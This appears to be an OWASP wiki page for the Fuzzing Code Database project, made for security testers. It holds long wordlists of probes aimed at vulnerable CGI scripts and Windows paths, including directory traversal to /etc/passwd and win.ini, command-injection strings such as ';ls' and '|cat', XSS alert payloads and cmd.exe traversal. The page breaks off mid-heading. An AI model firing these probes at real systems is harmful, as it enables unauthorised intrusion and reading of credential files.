Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=80076 2010-03-17T21:09:30Z

<p>Adam.muntner: /* Windows Directory Traversal (Update: 17 March 2009 */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''02 February 2010'''' <br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> === Vulnerable Cross-Platform CGI (17 March 2010) ===<br /> &lt;pre&gt;# Vulnerable Cross-Platform CGI (17 March 2010) <br /> # fuzz inside cgi directories<br /> # on windows, this is usually /scripts or /bin or /cgi-bin, on unix, usually /cgi-bin, /nph-cgi<br /> # adam.muntner@quietmove.com<br /> <br /> %2e%2e/abyss.conf<br /> .access<br /> .cobalt<br /> .cobalt/alert/service.cgi?service=&lt;img%20src=javascript:alert('XSS')&gt;<br /> .cobalt/alert/service.cgi?service=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> .fhp<br /> .htaccess<br /> .htaccess.old<br /> .htaccess.save<br /> .htaccess~<br /> .htpasswd<br /> .nsconfig<br /> .passwd<br /> .www_acl<br /> .wwwacl<br /> /_vti_pvt/doctodep.btr<br /> 14all-1.1.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> 14all.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> AT-admin.cgi<br /> AT-generate.cgi<br /> Album?mode=album&amp;album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&amp;dispsize=640&amp;start=0<br /> AnyBoard.cgi<br /> AnyForm<br /> AnyForm2<br /> Backup/add-passwd.cgi<br /> C<br /> Count.cgi<br /> DC<br /> DCFORM<br /> File<br /> FormHandler.cgi?realname=aaa&amp;email=aaa&amp;reply_message_template=%2Fetc%2Fpasswd&amp;reply_message_from=sq%40example.com&amp;redirect=http%3A%2F%2Fwww.example.com&amp;recipient=sq%40example.com<br /> FormMail.cgi?&lt;script&gt;alert(\<br /> FormMail.pl<br /> ImageFolio/admin/admin.cgi<br /> LWGate<br /> LWGate.cgi<br /> Upload.pl<br /> Vs<br /> W<br /> YaBB.pl?board=news&amp;action=display&amp;num=../../../../../../../../../..{KNOWNFILE}%00<br /> YaBB/YaBB.cgi?board=BOARD&amp;action=display&amp;num=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp4.cgi?../../../../../../..{KNOWNFILE}<br /> add_ftp.cgi<br /> addbanner.cgi<br /> adduser.cgi<br /> admin.cgi<br /> admin.cgi?list=../../../../../../../../../..{KNOWNFILE}<br /> admin.php<br /> admin.php3<br /> admin.pl<br /> adminhot.cgi<br /> adminwww.cgi<br /> af.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> aglimpse<br /> aglimpse.cgi<br /> alibaba.pl|dir%20..\\..\\..\\..\\..\\..\\..\\,<br /> alienform.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> amadmin.pl<br /> anacondaclip.pl?template=../../../../../../../../../..{KNOWNFILE}<br /> ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> ans/ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> anyboard.cgi<br /> archie<br /> architext_query.cgi<br /> architext_query.pl<br /> ash<br /> astrocam.cgi<br /> atk/javascript/class.atkdateattribute.js.php?config_atkroot=@RFIURL<br /> auction/auction.cgi?action=<br /> auctiondeluxe/auction.pl<br /> auktion.cgi?menue=../../../../../../../../../..{KNOWNFILE}<br /> auth_data/auth_user_file.txt<br /> awl/auctionweaver.pl<br /> awstats.pl<br /> awstats/awstats.pl<br /> ax-admin.cgi<br /> ax.cgi<br /> axs.cgi<br /> badmin.cgi<br /> banner.cgi<br /> bannereditor.cgi<br /> bash<br /> bb-hist?HI<br /> bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbcode_ref.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbs_forum.cgi<br /> betsie/parserl.pl/&lt;script&gt;alert('XSS')&lt;/script&gt;;<br /> bigconf.cgi?command=view_textfile&amp;file={KNOWNFILE}&amp;filters=<br /> bizdb1-search.cgi<br /> blog/<br /> blog/mt-check.cgi<br /> blog/mt-load.cgi<br /> blog/mt.cfg<br /> bnbform<br /> bnbform.cgi<br /> book.cgi?action=default&amp;current=|cat%20{KNOWNFILE}|&amp;form_tid=996604045&amp;prev=main.html&amp;list_message_index=10<br /> boozt/admin/index.cgi?section=5&amp;input=1<br /> bsguest.cgi?email=x;ls<br /> bslist.cgi?email=x;ls<br /> build.cgi<br /> bulk/bulk.cgi<br /> c_download.cgi<br /> cached_feed.cgi<br /> cachemgr.cgi<br /> cal_make.pl?p0=../../../../../../../../../..{KNOWNFILE}%00<br /> calendar<br /> calendar.php?calbirthdays=1&amp;action=getday&amp;day=2001-8-15&amp;comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22<br /> calendar.pl<br /> calendar/calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calendar/index.cgi<br /> calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calender_admin.pl<br /> campas?%0acat%0a{KNOWNFILE}%0a<br /> cart.pl<br /> cart.pl?db='<br /> cartmanager.cgi<br /> cbmc/forums.cgi<br /> ccbill-local.cgi?cmd=MENU<br /> ccbill-local.pl?cmd=MENU<br /> cgforum.cgi<br /> cgi-lib.pl<br /> cgicso?query=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cgicso?query=AAA<br /> cgiforum.pl?thesection=../../../../../../../../../..{KNOWNFILE}%00<br /> cgiwrap<br /> cgiwrap/%3Cfont%20color=red%3E<br /> cgiwrap/~@U<br /> cgiwrap/~JUNK(5)<br /> cgiwrap/~root<br /> change-your-password.pl<br /> classified.cgi<br /> classifieds<br /> classifieds.cgi<br /> classifieds/classifieds.cgi<br /> classifieds/index.cgi<br /> clickcount.pl?view=test<br /> clickresponder.pl<br /> code.php<br /> code.php3<br /> com5..........................................................................................................................................................................................................................box<br /> com5.java<br /> com5.pl<br /> commandit.cgi<br /> commerce.cgi?page=../../../../../../../../../..{KNOWNFILE}%00index.html<br /> common.php?f=0&amp;ForumLang=../../../../../../../../../..{KNOWNFILE}<br /> common/listrec.pl<br /> common/listrec.pl?APP=qmh-news&amp;TEMPLATE=;ls%20/etc|<br /> compatible.cgi<br /> count.cgi<br /> counter-ord<br /> counterbanner<br /> counterbanner-ord<br /> counterfiglet-ord<br /> counterfiglet/nc/<br /> cs<br /> csChatRBox.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csGuestBook.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csLive<br /> csNews.cgi<br /> csNewsPro.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csPassword.cgi<br /> csPassword/csPassword.cgi<br /> csh<br /> cstat.pl<br /> cutecast/members/<br /> cvsblame.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=*&amp;rev=&amp;root=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvsquery.cgi?branch=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;date=&lt;script&gt;alert(document.domain)&lt;/script&gt;<br /> cvsquery.cgi?module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=&amp;dir=&amp;file=&amp;who=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;sortby=Date&amp;hours=2&amp;date=week<br /> cvsqueryform.cgi?cvsroot=/cvsroot&amp;module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=HEAD<br /> dansguardian.pl?DENIEDURL=&lt;/a&gt;&lt;script&gt;alert('XSS');&lt;/script&gt;<br /> dasp/fm_shell.asp<br /> data/fetch.php?page=<br /> date<br /> day5datacopier.cgi<br /> day5datanotifier.cgi<br /> db2www/library/document.d2w/show<br /> db4web_c/dbdirname/{KNOWNFILE}<br /> db_manager.cgi<br /> dbman/db.cgi?db=no-db<br /> dcforum.cgi?az=list&amp;forum=../../../../../../../../../..{KNOWNFILE}%00<br /> dcshop/auth_data/auth_user_file.txt<br /> dcshop/orders/orders.txt<br /> dfire.cgi<br /> diagnose.cgi<br /> dig.cgi<br /> directorypro.cgi?want=showcat&amp;show=../../../../../../../../../..{KNOWNFILE}%00<br /> displayTC.pl<br /> dnewsweb<br /> donothing<br /> dose.pl?daily&amp;somefile.txt&amp;|ls|<br /> download.cgi<br /> dumpenv.pl<br /> edit.pl<br /> empower?DB=whateverwhatever<br /> emu/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> enter.cgi<br /> environ.cgi<br /> environ.pl<br /> environ.pl?param1=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> erba/start/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> eshop.pl/seite=;cat%20eshop.pl|<br /> ex-logger.pl<br /> excite<br /> excite;IF<br /> ezadmin.cgi<br /> ezboard.cgi<br /> ezman.cgi<br /> ezshopper/loadpage.cgi?user_id=1&amp;file=|cat%20{KNOWNFILE}|<br /> ezshopper/search.cgi?user_id=id&amp;database=dbase1.exm&amp;template=../../../../../../..{KNOWNFILE}&amp;distinct=1<br /> ezshopper2/loadpage.cgi<br /> ezshopper3/loadpage.cgi<br /> faqmanager.cgi?toc={KNOWNFILE}%00<br /> faxsurvey?cat%20{KNOWNFILE}<br /> filemail<br /> filemail.pl<br /> finger<br /> finger.pl<br /> flexform<br /> flexform.cgi<br /> fom.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> fom/fom.cgi?cmd=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=1&amp;keywords=vulnerable<br /> formmail<br /> formmail.cgi<br /> formmail.cgi?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail.pl<br /> formmail.pl?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> fortune<br /> ftp.pl<br /> ftpsh<br /> gH.cgi<br /> gbadmin.cgi?action=change_adminpass<br /> gbadmin.cgi?action=change_automail<br /> gbadmin.cgi?action=colors<br /> gbadmin.cgi?action=setup<br /> gbook/gbook.cgi?_MAILTO=xx;ls<br /> gbpass.pl<br /> generate.cgi?content=../../../../../../../../../../windows/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../../winnt/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../..{KNOWNFILE}%00board=board_1<br /> getdoc.cgi<br /> gettransbitmap<br /> glimpse<br /> gm-authors.cgi<br /> gm-cplog.cgi<br /> gm.cgi<br /> guestbook.cgi<br /> guestbook.cgi?user=cpanel&amp;template=|/bin/cat%20{KNOWNFILE}|<br /> guestbook.pl<br /> guestbook/passwd<br /> handler.cgi<br /> hitview.cgi<br /> horde/test.php<br /> horde/test.php?mode=phpinfo<br /> hsx.cgi?show=../../../../../../../../../../..{KNOWNFILE}%00<br /> htgrep?file=index.html&amp;hdr={KNOWNFILE}<br /> html2chtml.cgi<br /> html2wml.cgi<br /> htmlscript?../../../../../../../../../..{KNOWNFILE}<br /> htsearch.cgi?words=%22%3E%3Cscript%3Ealert%'XSS'%29%3B%3C%2Fscript%3E<br /> htsearch?-c/nonexistant<br /> htsearch?config=foofighter&amp;restrict=&amp;exclude=&amp;method=and&amp;format=builtin-long&amp;sort=score&amp;words=<br /> htsearch?exclude=%60{KNOWNFILE}%60<br /> ibill.pm<br /> icat<br /> if/admin/nph-build.cgi<br /> ikonboard/help.cgi?<br /> imageFolio.cgi<br /> imagefolio/admin/admin.cgi<br /> imagemap<br /> include/new-visitor.inc.php<br /> index.js0x70<br /> index.pl<br /> info2www<br /> info2www '(../../../../../../../bin/mail root &lt;{KNOWNFILE}&gt;<br /> infosrch.cgi<br /> ion-p?page=../../../../..{KNOWNFILE}<br /> jailshell<br /> jj<br /> journal.cgi?folder=journal.cgi%00<br /> ksh<br /> lastlines.cgi?process<br /> listrec.pl<br /> loadpage.cgi?user_id=1&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> loadpage.cgi?user_id=1&amp;file=..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> log-reader.cgi<br /> log/<br /> log/nether-log.pl?checkit<br /> login.cgi<br /> login.pl<br /> login.pl?course_id=\<br /> logit.cgi<br /> logs.pl<br /> logs/<br /> logs/access_log<br /> logs/error_log<br /> lookwho.cgi<br /> ls<br /> lwgate<br /> lwgate.cgi<br /> magiccard.cgi?pa=3Dpreview&amp;amp;next=3Dcustom&amp;amp;page=3D../../../../../../../../../..{KNOWNFILE}<br /> mail<br /> mail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> mail/nph-mr.cgi?do=loginhelp&amp;configLanguage=../../../../../../..{KNOWNFILE}%00<br /> mailit.pl<br /> maillist.cgi<br /> maillist.pl<br /> mailnews.cgi<br /> main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=../../../../../../../../../..{KNOWNFILE}<br /> majordomo.pl<br /> man2html<br /> mastergate/search.cgi?search=0&amp;search_on=all<br /> meta.pl<br /> mgrqcgi<br /> mini_logger.cgi<br /> mmstdod.cgi<br /> moin.cgi?test<br /> mojo/mojo.cgi<br /> mrtg.cfg?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=blah<br /> ms_proxy_auth_query/<br /> mt-static/<br /> mt-static/mt-check.cgi<br /> mt-static/mt-load.cgi<br /> mt-static/mt.cfg<br /> mt/<br /> mt/mt-check.cgi<br /> mt/mt-load.cgi<br /> mt/mt.cfg<br /> multihtml.pl?multi={KNOWNFILE}%00html<br /> musicqueue.cgi<br /> myguestbook.cgi?action=view<br /> namazu.cgi<br /> nbmember.cgi?cmd=list_all_users<br /> netauth.cgi?cmd=show&amp;page=../../../../../../../../../..{KNOWNFILE}<br /> netpad.cgi<br /> newsdesk.cgi?t=../../../../../../../../../..{KNOWNFILE}<br /> nimages.php<br /> nlog-smb.cgi<br /> nlog-smb.pl<br /> non-existent.pl<br /> noshell<br /> nph-emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> nph-error.pl<br /> nph-exploitscanget.cgi<br /> nph-maillist.pl<br /> nph-publish<br /> nph-publish.cgi<br /> nph-showlogs.pl?files=../../&amp;filter=.*&amp;submit=Go&amp;linecnt=500&amp;refresh=0<br /> nph-test-cgi<br /> ntitar.pl<br /> opendir.php?{KNOWNFILE}<br /> orders/orders.txt<br /> pagelog.cgi<br /> pals-cgi?palsAction=restart&amp;documentName={KNOWNFILE}<br /> parse-file<br /> pass<br /> passwd<br /> passwd.txt<br /> password<br /> pbcgi.cgi?name=Joe%Camel&amp;email=%3C<br /> perl<br /> perl?-v<br /> perlshop.cgi<br /> pfdispaly.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> pfdispaly.cgi?../../../../../../../../../..{KNOWNFILE}<br /> pfdisplay.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> phf<br /> phf.cgi?QALIA<br /> phf?Qname=root%0Acat%20{KNOWNFILE}%20<br /> photo/<br /> photo/manage.cgi<br /> photo/protected/manage.cgi<br /> php-cgi<br /> php.cgi?{KNOWNFILE}<br /> plusmail<br /> pollit/Poll_It_<br /> pollssi.cgi<br /> post-query<br /> post_query<br /> postcards.cgi<br /> powerup/r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> printenv<br /> printenv.tmp<br /> probecontrol.cgi?command=enable&amp;username=cancer&amp;password=killer<br /> processit.pl<br /> profile.cgi<br /> pu3.pl<br /> publisher/search.cgi?dir=jobs&amp;template=;cat%20{KNOWNFILE}|&amp;output_number=10<br /> query<br /> query?mss=%2e%2e/config<br /> quickstore.cgi?page=../../../../../../../../../..{KNOWNFILE}%00html&amp;cart_id=<br /> quikstore.cfg<br /> quizme.cgi<br /> r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> ratlog.cgi<br /> redirect<br /> register.cgi<br /> replicator/webpage.cgi/<br /> responder.cgi<br /> retrieve_password.pl<br /> rksh<br /> rmp_query<br /> robadmin.cgi<br /> robpoll.cgi<br /> rpm_query<br /> rsh<br /> rtm.log<br /> rwcgi60<br /> rwcgi60/showenv<br /> rwwwshell.pl<br /> sawmill5?rfcf+%22{KNOWNFILE}%22+spbn+1,1,21,1,1,1,1<br /> sawmill?rfcf+%22<br /> sbcgi/sitebuilder.cgi<br /> scoadminreg.cgi<br /> scripts/*%0a.pl<br /> search.cgi<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> search.php?searchstring=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> search.pl<br /> search.pl?Realm=All&amp;Match=0&amp;Terms=test&amp;nocpp=1&amp;maxhits=10&amp;;Rank=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> search.pl?form=../../../../../../../../../..{KNOWNFILE}%00<br /> search/search.cgi?keys=*&amp;prc=any&amp;catigory=../../../../../../../../../../../../etc<br /> sendform.cgi<br /> sendpage.pl?message=test\;/bin/ls%20/etc;echo%20\message<br /> sendtemp.pl?templ=../../../../../../../../../..{KNOWNFILE}<br /> session/adminlogin<br /> sewse?/home/httpd/html/sewse/jabber/comment2.jse+{KNOWNFILE}<br /> sh<br /> shop.cgi?page=../../../../../../..{KNOWNFILE}<br /> shop.pl/page=;cat%20shop.pl|<br /> shop/auth_data/auth_user_file.txt<br /> shop/orders/orders.txt<br /> shopper.cgi?newpage=../../../../../../../../../..{KNOWNFILE}<br /> shopplus.cgi?dn=domainname.com&amp;cartid=%CARTID%&amp;file=;cat%20{KNOWNFILE}|<br /> show.pl<br /> showcheckins.cgi?person=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> showuser.cgi<br /> simple/view_page?mv_arg=|cat%20{KNOWNFILE}|<br /> simplestguest.cgi<br /> simplestmail.cgi<br /> smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> smartsearch/smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> sojourn.cgi?cat=../../../../../../../../../../etc/password%00<br /> spin_client.cgi?aaaaaaaa<br /> ss<br /> sscd_suncourier.pl<br /> ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e{KNOWNFILE}<br /> start.cgi/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> stat.pl<br /> stat/<br /> stats-bin-p/reports/index.html<br /> stats.pl<br /> stats.prf<br /> stats/<br /> stats/statsbrowse.asp?filepath=c:\&amp;Opt=3<br /> stats_old/<br /> statsconfig<br /> statusconfig.pl<br /> statview.pl<br /> store.cgi?<br /> store/agora.cgi?cart_id=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> store/agora.cgi?page=whatever33.html<br /> store/index.cgi?page=../../../../../../../..{KNOWNFILE}<br /> story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> story/story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> survey<br /> survey.cgi<br /> sws/admin.html<br /> sws/manager.pl<br /> tablebuild.pl<br /> talkback.cgi?article=../../../../../../../..{KNOWNFILE}%00&amp;action=view&amp;matchview=1<br /> tcsh<br /> technote/main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=/../../../../../../../../../..{KNOWNFILE}<br /> test-cgi.tcl<br /> test-cgi?/*<br /> test-env<br /> test.cgi<br /> test/test.cgi<br /> texis/junk<br /> texis/phine<br /> textcounter.pl<br /> tidfinder.cgi<br /> tigvote.cgi<br /> title.cgi<br /> tpgnrock<br /> traffic.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> troops.cgi<br /> ttawebtop.cgi/?action=start&amp;pg=../../../../../../../../../..{KNOWNFILE}<br /> ultraboard.cgi<br /> ultraboard.pl<br /> unlg1.1<br /> unlg1.2<br /> update.dpgs<br /> upload.cgi<br /> uptime<br /> urlcount.cgi?%3CIMG%20<br /> ustorekeeper.pl?command=goto&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> utm/admin<br /> utm/utm_stat<br /> view-source<br /> view-source?view-source<br /> view_item?HTML_FILE=../../../../../../../../../..{KNOWNFILE}%00<br /> viewcvs.cgi/viewcvs/?cvsroot=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> viewcvs.cgi/viewcvs/viewcvs/?sortby=rev\<br /> viewlogs.pl<br /> viewsource?{KNOWNFILE}<br /> viralator.cgi<br /> virgil.cgi<br /> vote.cgi<br /> vpasswd.cgi<br /> vq/demos/respond.pl?&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> w3-msql<br /> w3-sql<br /> wais.pl<br /> way-board.cgi?db={KNOWNFILE}%00<br /> way-board/way-board.cgi?db={KNOWNFILE}%00<br /> webais<br /> webbbs.cgi<br /> webbbs/webbbs_config.pl?name=joe&amp;email=test@example.com&amp;body=aaaaffff&amp;followup=10;cat%20{KNOWNFILE}<br /> webcart/webcart.cgi?CONFIG=mountain&amp;CHANGE=YE<br /> webdist.cgi?distloc=;cat%20{KNOWNFILE}<br /> webdriver<br /> webgais<br /> webif.cgi<br /> webmail/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> webmap.cgi<br /> webnews.pl<br /> webplus?about<br /> webplus?script=../../../../../../../../../..{KNOWNFILE}<br /> websendmail<br /> webspirs.cgi?sp.nextform=../../../../../../../../../..{KNOWNFILE}<br /> webutil.pl<br /> webutils.pl<br /> webwho.pl<br /> where.pl?sd=ls%20/etc<br /> whois.cgi?action=load&amp;whois=%3Bid<br /> whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois/whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois_raw.cgi?fqdn=%0Acat%20{KNOWNFILE}<br /> windmail<br /> wrap<br /> wrap.cgi<br /> ws_ftp.ini<br /> www-sql<br /> wwwadmin.pl<br /> wwwboard.cgi.cgi<br /> wwwboard.pl<br /> wwwstats.pl<br /> wwwthreads/3tvars.pm<br /> wwwthreads/w3tvars.pm<br /> wwwwais<br /> zml.cgi?file=../../../../../../../../../..{KNOWNFILE}%00<br /> zsh<br /> &lt;/pre&gt;<br /> <br /> === Windows Directory Traversal (Update: 17 March 2010 ===<br /> &lt;pre&gt;# Windows Directory Traversal (Update: 17 March 2010<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> &lt;/pre&gt;<br /> <br /> === Generic 8 Directory Deep Traversal Fuzz (77 March 2010) ===<br /> &lt;pre&gt;<br /> # Generic 8 Directory 